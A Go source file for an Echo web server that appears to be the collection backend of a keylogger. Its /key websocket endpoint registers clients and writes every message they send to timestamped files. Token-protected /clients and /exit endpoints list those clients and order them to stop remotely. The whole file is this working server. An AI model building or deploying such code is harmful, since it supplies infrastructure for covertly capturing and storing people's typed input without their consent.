keys/server/main.go

package main

import (
	"errors"
	"fmt"
	"net/http"
	"os"
	"syscall"
	"time"

	"github.com/joho/godotenv"
	"github.com/labstack/echo/v4"
	"github.com/labstack/echo/v4/middleware"
	"github.com/labstack/gommon/log"
	"golang.org/x/net/websocket"
)

const TimeFormat = "2006-01-02 15:04:05"

type Client struct {
	ID   int
	conn *websocket.Conn
	Exit bool
}

var id = 0
var clients []*Client
var keyDir = "."
var token = ""

type ReqData struct {
	ID int `json:"id"`
}

func main() {
	err := godotenv.Load()
	if err != nil {
		log.Fatal(err)
	}
	keyDir = os.Getenv("KEY_DIR")
	if keyDir == "" {
		log.Fatal("KEY_DIR is not defined")
	}
	token = os.Getenv("TOKEN")
	if token == "" {
		log.Fatal("TOKEN is not defined")
	}

	app := echo.New()
	app.Logger.SetLevel(log.INFO)

	app.Use(middleware.RecoverWithConfig(middleware.RecoverConfig{
		StackSize: 1 << 10,
		LogLevel:  log.ERROR,
	}))
	app.Use(middleware.Secure())

	app.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{
		Format:           "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)",
		CustomTimeFormat: TimeFormat,
	}))
	app.Use(middleware.RemoveTrailingSlash())

	app.OnAddRouteHandler = func(host string, route echo.Route, handler echo.HandlerFunc, middleware []echo.MiddlewareFunc) {
		now := time.Now()
		fmt.Printf("%s registered %-6s %s\n", now.Format(TimeFormat), route.Method, route.Path)
	}
	app.HTTPErrorHandler = func(err error, c echo.Context) {
		if c.Response().Committed {
			log.Error(err)
			return
		}

		code := http.StatusInternalServerError
		var response any = err.Error()

		var httpErr *echo.HTTPError
		if errors.As(err, &httpErr) {
			code = httpErr.Code
			response = httpErr
		}

		if code >= 500 {
			log.Error(err)
		}

		err2 := c.JSON(code, response)
		if err2 != nil {
			log.Error(err2)
		}
	}

	app.GET("/", func(c echo.Context) error {
		return c.JSON(http.StatusOK, "Hello World!")
	})
	app.GET("/key", key)

	app.GET("/clients", func(c echo.Context) error {
		if c.Request().Header.Get("Authorization") != token {
			return c.NoContent(http.StatusUnauthorized)
		}

		var a []echo.Map
		for _, client := range clients {
			a = append(a, echo.Map{
				"id":   client.ID,
				"exit": client.Exit,
			})
		}

		return c.JSON(http.StatusOK, a)
	})
	app.POST("/exit", func(c echo.Context) error {
		if c.Request().Header.Get("Authorization") != token {
			return c.NoContent(http.StatusUnauthorized)
		}

		var data ReqData
		err := c.Bind(&data)
		if err != nil {
			return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
		}

		for _, client := range clients {
			if client.ID == data.ID {
				client.Exit = true
				return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
			}
		}
		return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
	})

	log.Fatal(app.Start(":8080"))
}

func key(c echo.Context) error {
	websocket.Handler(func(ws *websocket.Conn) {
		client := Client{
			ID:   id,
			conn: ws,
			Exit: false,
		}
		clients = append(clients, &client)
		id += 1
		fmt.Printf("%s client %-3d connected", time.Now().Format(TimeFormat), client.ID)

		defer ws.Close()
		err := websocket.Message.Send(ws, "welcome")
		if err != nil {
			log.Error(err)
		}

		f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", keyDir, time.Now().Format("2006-01-02_15-04"), client.ID), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
		if err != nil {
			log.Error(err)
			fmt.Printf("%s client %-3d crashed (couldn't open file)", time.Now().Format(TimeFormat), client.ID)
			client.Exit = true
			return
		}

		for {
			if client.Exit {
				_ = websocket.Message.Send(ws, "exit")
				_ = ws.Close()
				break
			}

			msg := ""
			err = websocket.Message.Receive(ws, &msg)
			if err != nil {
				log.Error(err)
				_ = websocket.Message.Send(ws, "exit")
				_ = ws.Close()
				fmt.Printf("%s client %-3d crashed (websocket error)", time.Now().Format(TimeFormat), client.ID)
				client.Exit = true
				break
			}

			_, err = f.WriteString(msg)
			if err != nil {
				log.Error(err)
				_ = websocket.Message.Send(ws, "exit")
				_ = ws.Close()
				fmt.Printf("%s client %-3d crashed (file write error)", time.Now().Format(TimeFormat), client.ID)
				client.Exit = true
				break
			}
		}

		fmt.Printf("%s client %-3d disconnected", time.Now().Format(TimeFormat), client.ID)
		client.Exit = true
	}).ServeHTTP(c.Response(), c.Request())

	return nil
}